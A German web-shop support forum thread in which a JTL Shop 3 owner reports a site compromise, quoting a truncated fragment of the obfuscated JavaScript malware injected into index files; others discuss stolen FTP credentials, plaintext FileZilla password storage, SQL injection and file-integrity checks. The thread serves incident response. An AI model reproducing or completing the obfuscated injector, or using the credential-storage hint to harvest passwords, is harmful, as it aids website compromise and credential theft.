JTL Shop 3 gehackt...

Coldstorm

Aktives Mitglied
2. März 2011
124
0
Hallo,

ich hatte einen Angriff auf meiner Seite. Seite ist noch im Wartungsmodus, aber trotzdem hatte ich ein Malware Script in der index.html, index.php, sämtliche Unterordner...
Es wurde folgendes eingefügt:
Code:
<!-- . --><script>el=document.createElement("div");el.innerHTML="ReferenceErr";el.appendChild(document.createTextNode("q"));el.replaceChild(document.createTextNode("l"),el.childNodes[1]);try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.firstChild.nodeValue+a.toString().substr(0,0);};ar="/aegl =cNbi{ufm >[nhtEo})\"<'v,A?Bp0Trq-.;:w]sCyd(1";ar2="R60c0c-20c12c-32c172c-4c-100c-60c20c8c-48c64c8c76c-144c-4c72c4c-68c-8c48c-48c64c8c96c-48c56c-44c-136c8c20c-28c52c-48c184c-84c-72c52c100c-4c-76c-12c-28c68c36c-76c-52c16c0c0c-20c12c92c-140c52c-48c136c48c-96c64c-1

usw....was hat das zum bedeuten? Reicht es aus, wenn ich nur das Script rausnehme oder muss ich komplette Backup reinspielen?
Muss ich nur die index.php und admin/index.php überschreiben oder sind da noch mehr dafür anfällige Dateien?
Wie kann so ein Angriff passieren? Habe total sicheres FTP-Passwort oder wie kommt da jemand rauf ?
 

MBesancon

Administrator
Mitarbeiter
1. Oktober 2010
2.085
217
Erkelenz
AW: JTL Shop 3 gehackt...

Ich würde dir empfehlen alle Passwörter zu ändern und aus Sicherheitsgründen nur die Datenbank zu behalten. An deiner Stelle würde ich alle Dateien neu hochladen.

Der Zugriff erfolgt meistens über den eigenen PC. Ein "Schädling" kapert alle deine FTP-Zugangsdaten und geht diese der Reihe nach durch. Bei der Verbindung schreibt er sich dann in nahezu alle Dokumente die dem gewünschten Muster entsprechen. Meistens sind das Dateien mit dem Namen index.html oder index.php o.ä. Von daher mein Rat:

Alle Passwörter ändern! Dateien neu einspielen!
 

Coldstorm

Aktives Mitglied
2. März 2011
124
0
AW: JTL Shop 3 gehackt...

Der Zugang erfolgt über den eigenen PC? Ich hab das schonmal gehabt, dann hab ich PC komplett neu aufgesetzt und nach gut einer Woche jetzt wieder gehackt...
Ich hab in Strato jetzt den Schreibzugriff für das komplette Verzeichnis aktiviert...darf ich das? Oder hindert das JTL Shop in irgendeiner Weise ?

Auszug:
Schreibschutz für gesamten Webspace oder einzelne Verzeichnisse

Auch beim Schreibschutz gilt, dass nach Aktivierung in der Grundeinstellung alle Verzeichnisse schreibgeschützt sind. Sofern Sie für einzelne Verzeichnisse den Schreibzugriff erlauben möchten, können Sie diese auf die "Ausschlussliste" setzen.

Bitte beachten Sie, dass der Ordner cgi-data ausgeschlossen sein muss (nicht geschützt), wenn Sie CGIs aus der STRATO CGI-Bibliothek verwenden, da die Scripte sonst nicht ausgeführt werden können.

Das trifft auch auf einige Funktionen des Kundenservicebereichs zu. Wenn Sie den Website-Configurator verwenden, um z. B. eigene Fehlerseiten oder den Verzeichnisschutz einzurichten, darf das Verzeichnis cgi-data sowie der Ordner, für den Sie die Einstellungen vornehmen möchten, nicht schreibgeschützt sein.


Um für ein oder mehrere Verzeichnisse den Schreibzugriff zu erlauben, wählen Sie diese bitte entsprechend aus der Liste aus und klicken jeweils auf Verzeichnis hinzufügen. In der "Ausschlussliste" können Sie die bereits hinzugefügten Verzeichnisse sehen.

Geänderte Einstellungen werden übernommen, wenn Sie auf Speichern klicken.

Möchten Sie den Schreibschutz nicht verwenden, setzen Sie die Option bitte auf Deaktiviert.
 

david

Administrator
Mitarbeiter
16. Juli 2010
2.310
170
AW: JTL Shop 3 gehackt...

Habe total sicheres FTP-Passwort oder wie kommt da jemand rauf ?

Nutzt du Filezilla und hast dein Passwort im Sitemanager gespeichert?
Dann such mal auf deinem PC nach "sitemanager.xml" und schau dir dein Passwort im Klartext an...

Das meinte Marcel mit
Der Zugriff erfolgt meistens über den eigenen PC. Ein "Schädling" kapert alle deine FTP-Zugangsdaten und geht diese der Reihe nach durch.
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

Der Zugriff erfolgt meist NICHT über FTP Programme des Admins also in diesem Fall des Shop-Besitzers. Da fählt wohl leider das Wissen im JTL-Team.

Enthält der PHP-Code Fehler in der Programierung kann sehr viel realisiert werden. Schlagwort für Google ist z.B. PHP-Source-Injection. Oder siehe auch PHP-Vulnerabilities. Da gibt es ganze Bücher für. Oder auch SQL-Injection.

Daher ist es sehr dringend an JTL-Team bitte die Lücke finden (siehe Log-Dateien von dem der es gemeldet hat) Bei Strato müssen diese vorhanden sein. Anhand davon kann man sehen welcher php-Script Sicherheitsmängel enthält. Danach sofort updaten, da mit so was nicht zu spaßen ist, da Kunden-Daten vorhanden! Es können locker die Passwörter (in MD5 Hash-Form) von der DB mit SQL-Injection rauskopiert werden und wenn es dann klappt diese zu entschlüsseln, dann will ich gar nicht erst weiter denken...denn massenweise Kunden haben identische Passwörter...
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

aber kann auch natürlich sein dass die FTP-Passwörter ausspioniert wurden. Hier helfen auch die FTP-Logs von Strato :) Da ich kein Strato-Kunde bin kann ich nicht sagen wie es dort aussieht. Fakt ist, es muss bei so was immer geprüft werden woher es gekommen ist, denn wenn ein Kunde die Malware vom Shop kriegt so kommt er kaum wieder!
 

Thomas Lisson

Administrator
Mitarbeiter
24. März 2006
15.574
300
Köln
AW: JTL Shop 3 gehackt...

Hallo dihegroup,

das ist ja nett, dass Du versuchst zu helfen. Aber uns die Kompetenz in Sachen Sicherheit bei der Webentwicklung abzusprechen, geht ein wenig zu weit. Bei dem Shop wurde ausserordentlich auf Sicherheit geachtet. Wir brauchen hier auch keine Schlagwörter hierzu zu googlen, da dies Grundwissen unserer Mitarbeiter ist.

Das Problem des Threaderstellers kommt definitiv über FTP.

Danach sofort updaten, da mit so was nicht zu spaßen ist, da Kunden-Daten vorhanden! Es können locker die Passwörter (in MD5 Hash-Form) von der DB mit SQL-Injection rauskopiert werden und wenn es dann klappt diese zu entschlüsseln
Hier liegst du komplett falsch - das trifft auf fast jedes andere Shopsystem zu, nicht auf JTL-Shop3. Weder speichern wir Passwörter als MD5 gehashed ab, noch sind Kundendaten in lesbarer Form in der DB hinterlegt. Alle sensiblen Daten sind verschlüsselt.
 

Bremer

Aktives Mitglied
10. September 2010
121
0
AW: JTL Shop 3 gehackt...

Wie stellt man denn eigentlich fest das ein Malware Script eingefügt wurde?
Gibt es hier im Internet einen Scanner oder ein Plugin zur überwachung?

VG

Bremer
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

Gute Frage,

module habe ich hier solche noch nicht gesehen, allerdings gibt es im Admin-Bereich so was die Datei-Check. Natrürlich ist es etwas schwer, da bei mir z.B. viele Dateien verändert sind somit würde dieser Check fehlschlagen, aaaaber wenn man so was manuell steuern könnte z.B. nach dem man eine Datei-Verändert hat deren Hash-Wert abspeichert?! Allerdings ich weiß nicht so recht wie man es handhaben soll?! Denn dann müsste man diesen Wert wieder verschlüsseln?! :)))) Nur eine Idee bitte keine Steine schmeißen :)))
 

Thomas Lisson

Administrator
Mitarbeiter
24. März 2006
15.574
300
Köln
AW: JTL Shop 3 gehackt...

Hi,

der Datei Check ist eine gute Möglichkeit. Da die PHP Dateien ohnehin nicht angepasst werden sollten, ist das ein guter Indikator, dass etwas an den Dateien nicht stimmt.
 

wood-deSign

Aktives Mitglied
26. August 2008
594
0
Geilenkirchen
AW: JTL Shop 3 gehackt...

Hallo,

rein von der Logik her...
Der Zugriff erfolgt meist NICHT über FTP Programme des Admins also in diesem Fall des Shop-Besitzers. Da fählt wohl leider das Wissen im JTL-Team.

Enthält der PHP-Code Fehler in der Programierung kann sehr viel realisiert werden. Schlagwort für Google ist z.B. PHP-Source-Injection. Oder siehe auch PHP-Vulnerabilities. Da gibt es ganze Bücher für. Oder auch SQL-Injection.

kann das nicht stimmen.

Wenn es was AM SHOP wäre, gäbe es doch schon mehr solcher Fälle.

Seltsam... 2 x trifft es den selben Shop.
Andere Nutzer haben aber keine Probleme.

Mein Bauchgefühl sagt mir.. das liegt nicht am Shopcode. ;)

Gruss, Frank

Edit: wenn es ein LOCH gäbe, wäre das auf den einschlägigen Seiten schon LANGE zum verkauf angeboten worden.
Oder die Person würde damit Prahlen oder sonst was in der Art.

Hier wird irgendein ScriptKid mit ´nem Keylogger / Trojaner zugriff auf den PC bekommen haben und da dann die FTP Daten ausgelesen / genutzt haben.

DAS kann man auch leicht prüfen. Das Log beim Provider kann zeigen wer / wann / von WO welche Datei geändert hat.
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

ist nur eine Frage der Zeit. Prallen muss man damit nicht. Es kommt auf die Besucherzahl des Shops an.

Eine Spaßgeschichte wäre ein Deface der Webseite bzw. des Shops. Eine Malware auszusetzen und dann noch in allen PHP-Dateien bzw. in vielen deutet schon auf was seriöseres hin. Anzunehmen zu dem ist, dass irgendwo auch eine PHP-Shell laufen könnte (wobei bei Strato eher nicht). So dass der Angreifer sich wieder zugang verschaffen könnte. Malware hat immer den Sinn nicht einfach jemandem zu schaden, sondern sich in andere Rechner einzunisten. Verschiedene Malware besuchen verschiedene Webseite was widerrum demjenigen Geld bringt. Also schon was seriöser als Scriptkiddy wie angenommen. Wenn viele Dateien berofen sind, dann auch hier kann man ruhig davon ausgehen, dass ein gewisser Automatismus ausgearbeitet wurde bzw. man mit einem spezielln Script gearbeitet hat, was schon die Scriptkiddys nicht mehr darin beteiligen lässt. Natürlich kann es auch nur ein Wurm sein, welcher die Passwörter vom FTP-Klaut und sich dor teinnistet, wo er die PHP-Dateien finden. Ich hoffe so war es auch und so was ist dann natürlich zu vernachlässigen, da kein Massenproblem.
 
Ähnliche Themen
Titel Forum Antworten Datum
Rabatt Coupons in Verbindung mit Staffelpreisen - JTL 1.11.9, JTL Shop JTL-Wawi 1.11 0
Fehler beim Abgleich mit dem JTL-Shop JTL-Wawi 2.0 12
Neu OnFinds: KI-Suche für JTL-Shop mit fairer Abrechnung nach Artikelanzahl. 30 Tage kostenlos testen Plugins für JTL-Shop 0
Neu Freelancer für JTL-Wawi, Shop & Prozessautomatisierung Dienstleistung, Jobs und Ähnliches 0
Neu JTL Shop 5.7.1 mit Fehlern - versandarten zahlungsarten nicht änderbar, leere weiße Seite JTL-Shop - Fehler und Bugs 5
Neu Massiver jtl-shop-cron aufruf JTL-Shop - Fehler und Bugs 7
Neu Neues Plugin: Erweiterter Widerrufsbutton für JTL-Shop Plugins für JTL-Shop 9
Neu [Suche 5 Beta-Tester] KI generiert JTL Shop 5 Templates per Beschreibung – kostenlos testen Templates für JTL-Shop 7
Neu Telemetrie-Datenerfassung in JTL-Shop 5.7.0: Bitte um Klarstellung der DSGVO-relevanten Aspekte Allgemeine Fragen zu JTL-Shop 4
JTL Shop 4 Upgrade auf 5.5.0 --> Fehler 500 Upgrade JTL-Shop4 auf JTL-Shop5 3
JTL Shop 4 Upgrade auf 5.5.0 --> Fehler 404 Upgrade JTL-Shop4 auf JTL-Shop5 11
Neu JTL Shop 5 und Klarna Plugins für JTL-Shop 0
Neu JTL Shop 5.7 - Widerrufsbutton im B2B Templates für JTL-Shop 14
Neu Dropdown jtl shop länge einstellen Allgemeine Fragen zu JTL-Shop 2
JTL-Shop 5.7.0 Widerrufsbutton Einrichtung JTL-Shop5 32
Neu JTL Shop Template Snackys Bildgrößen einstellen Templates für JTL-Shop 1
Neu JTL-Shop 5.7 - Aktuell 5.7.1 Releaseforum 1
Neu Gratisgeschenke im JTL Shop nicht wirklich nutzerfreundlich. Allgemeine Fragen zu JTL-Shop 4
Neu Eigene Artikel Felder im JTL Shop anzeigen lassen User helfen Usern - Fragen zu JTL-Wawi 4
Neu Hilfe bei der Entwicklung gesucht: Werde Tester für meine JTL-Shop Plugins Plugins für JTL-Shop 0
Neu JTL-Shop "Plugin-Vorlage" gesucht User helfen Usern 3
Neu JTL - Shop Adressprüfung - Erfahrungen ? Allgemeine Fragen zu JTL-Shop 2
Neu Wo ist JTL-Debug geblieben? Shopvariablen beim Shop-/Templateentwicklung sichtbar machen? Plugins für JTL-Shop 10
Neu Alte Produktbilder erscheinen im JTL-Shop trotz Löschung und neuem Upload immer wieder – JTL-Wawi enthält nur neue Bilder JTL-Wawi - Fehler und Bugs 16
Neu JTL Shop 5 Sync in JTL WAWI 2.0.0 zeigt Verbindungstest Fehlermeldung Onlineshop-Anbindung 4
Neu Rechnung im JTL Shop Kundenkonto Onlineshop-Anbindung 1
Neu Strukturierte Daten vom Typ "Produkt" werden nach Update auf JTL Shop 5.6.1 nur fehlerhaft erkannt JTL-Shop - Fehler und Bugs 3
Neu Wero für den JTL Shop? Plugins für JTL-Shop 21
Neu JTL-Shop Verkauf - Tipps? Business Jungle 5
Neu Kategoriestruktur auf JTL-Wawi in WooCommerce Shop darstellen WooCommerce-Connector 2
Neu DSGVO – Automatisierte Löschung von Kundendaten nach 10 Jahren (JTL-Wawi / JTL-Shop) User helfen Usern - Fragen zu JTL-Wawi 2
JTL-Wawi sucht falschen ShopType nach Gambio-Update JTL-Wawi 1.7 2
Neu JTL Lizensserver ist nicht erreichbar eBay-Anbindung - Fehler und Bugs 0
Nach update 1.8>1.11 Kein Mandant in JTL-Wawi gefunden JTL-Wawi 1.11 0
Angebliche externe Aufträge "für Rechnungserstellung freigeben" und Rechnungen erstellen. Gibt es dazu eine akzeptable Erklärung von JTL? JTL-Wawi 1.11 1
Neu JTL → Shopify Connector: MappingTablesException / „Endpoint id is empty“ – betroffene Artikel aus Logs per SQL finden Shopify-Connector 1
Neu Abschaltung DHL versenden 3.0 vs JTL Shipping JTL-ShippingLabels - Ideen, Lob und Kritik 4
Neu JTL PayPal Checkout 2.3.0 ... 1. Update klappte nicht, 2. Update nun Eintrag doppelt Plugins für JTL-Shop 19
Neu Warnung: Attribute via JTL Funktion JTL_GetProductAttribute() funktioniert nicht zuverlässig Druck-/ E-Mail-/ Exportvorlagen in JTL-Wawi 1
Neu Eignes Feld aus Auftrag in Rechnung anzeigen lassen JTL-WaWi 1.11.10 Druck-/ E-Mail-/ Exportvorlagen in JTL-Wawi 2
Neu JTL FFN Seite defekt? JTL-Fulfillment Network - Fehler und Bugs 1
Neu Hilfe bei jtl-pos Synchronisation User helfen Usern - Fragen zu JTL-Wawi 4
Beantwortet JTL-POS „Rechnung drucken“ Allgemeine Fragen zu JTL-POS 2
JTL ERP-Connector JTL-Wawi 2.0 0
Neu Reverse Charge Verfahren - JTL richtiger Steuersatz Shopify-Connector 2
Neu Umzug von sehr alter JTL Wawi Version auf neuen PC User helfen Usern - Fragen zu JTL-Wawi 3
Neu JTL REST API (on premise) - welche API Version ab welcher Wawi-Version? Changelog? Schnittstellen Import / Export 0
Neu Ab welcher JTL Wawi Version ist der OnPremise REST API Endpoint POST /v2/returns oder POST /v1/returns für Create Return verfügbar? Schnittstellen Import / Export 0
Neu JTL Stammtisch im TurboZentrum 04.06.2026 Messen, Stammtische und interessante Events 1
Neu JTL Stammtisch Dresden 21.05.2026 Messen, Stammtische und interessante Events 0

Ähnliche Themen